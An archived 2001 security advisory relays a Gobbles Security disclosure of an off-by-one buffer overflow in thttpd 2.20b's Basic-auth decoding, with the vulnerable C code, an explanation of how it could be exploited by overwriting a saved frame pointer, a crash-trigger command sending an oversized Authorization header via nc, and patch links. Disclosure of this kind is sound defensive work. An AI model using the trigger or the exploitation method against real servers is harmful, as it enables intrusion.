21th Nov 2001 [SBWID-4868]
COMMAND
thttpd remote buffer overflow
SYSTEMS AFFECTED
thttpd 2.20b (at least)
PROBLEM
Gobbles security disclosed the following problem in thttpd :
bash-2.05$ pwd
/home/GOBBLES/hacking/projects/current/thttpd-2.20b
bash-2.05$ ls *.c
fdwatch.c match.c strerror.c tdate_parse.c timers.c
libhttpd.c mmc.c syslog.c thttpd.c
Bug is in libhttpd.c/auth_check():
static int
auth_check( httpd_conn* hc, char* dirname )
{
static char* authpath;
static int maxauthpath = 0;
struct stat sb;
char authinfo[500];
char* authpass;
[...]
l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
authinfo[l] = \'\\0\';
Notice authinfo buffer and its total size (500) go b64_decode function
so username and password in HTTP header \'Authorization\' field may get
decode from base64 for processing (processed by the process hehehe >8^)
). Then notice auth_check() terminate authinfo with a NUL. Notice only
automatic variable above authinfo in source code is stat structure
\'sb\' since \'static\' qualifier make compiler put variable in data or
bss segment depending on initialization. Variable \'l\' get assigned
result of b64_decode() function. How big it can be??? GOBBLES paste
full b64_decode function...
static int
b64_decode( const char* str, unsigned char* space, int size )
{
const char* cp;
int space_idx, phase;
int d, prev_d = 0;
unsigned char c;
space_idx = 0;
phase = 0;
for ( cp = str; *cp != \'\\0\'; ++cp )
{
d = b64_decode_table[(int) *cp];
if ( d != -1 )
{
switch ( phase )
{
case 0:
++phase;
break;
case 1:
c = ( ( prev_d << 2 ) | ( ( d & 0x30 ) >> 4 ) );
if ( space_idx < size )
space[space_idx++] = c;
++phase;
break;
case 2:
c = ( ( ( prev_d & 0xf ) << 4 ) | ( ( d & 0x3c ) >> 2 ) );
if ( space_idx < size )
space[space_idx++] = c;
++phase;
break;
case 3:
c = ( ( ( prev_d & 0x03 ) << 6 ) | d );
if ( space_idx < size )
space[space_idx++] = c;
phase = 0;
break;
}
prev_d = d;
}
}
return space_idx;
}
Notice formal argument \'size\' come from sizeof(authinfo) == 500. Then
data stored in \'space\' buffer which really \'authinfo\' from other
function. The variable \'space_idx\' set to 0 and incremented as it
used to index \'space\' array. Size check \"space_idx < size\" mean
space_idx can only reach 499. But then \"space[space_idx++] = c\"
post-increment from 499 to 500. At end of function there is \"return
space_idx\". Moving back...
l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
authinfo[l] = \'\\0\';
It made \'l\' == 500 so \"authinfo[500] = \'\\0\'\" be made and buffer
is made overflow by one byte! THIS IS VERY BAD PROGRAMMING AND
PROGRAMMER MUST LEARN NOT TO DO THIS SILLY KIND BUGS. WHEN PEOPLE
LEARN?????
Exploitable? Yes. If compiler arrange \'authinfo\' first on stack, then
on x86 machine it possible to overwrite saved register ebp value and
fuck over process like described by Olaf Kirch in 1998 team bugtraq
post which describe \"Poison NUL Byte\" method of punching hole in
software to get in computer.
DEMONSTRATION *************
1) Apply following diff:
--- libhttpd.c Tue Nov 20 14:50:00 2001
+++ libhttpd-new.c Tue Nov 20 14:22:12 2001
@@ -886,6 +886,7 @@
/* Decode it. */
l = b64_decode( &(hc->authorization[6]), authinfo, sizeof(authinfo) );
authinfo[l] = \'\\0\';
+ printf(\"%02x\\n\", authinfo[499]);
/* Split into user and password. */
authpass = strchr( authinfo, \':\' );
if ( authpass == (char*) 0 )
This allow us see what final element in array end up like.
2) Build and then:
[terminal 1]
mkdir test
echo \"joe:blow\" > test/.htpasswd
./thttpd -D -p 7777
[terminal 2]
(printf \"GET /test/ HTTP/1.0\\r\\nAuthorization: Basic \" ; printf `perl -e
\'print \"A\"x550\'` | openssl enc -base64 -e -in /dev/stdin ; printf \\
\"\\r\\n\\r\\n\") | nc 0 7777
[terminal 1]
We see \'41\'. This mean off-by-one overflow is really present!
SOLUTION
FreeBSD patch :
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/portcheckout-2.0.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/portcheckout-2.0.tgz
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH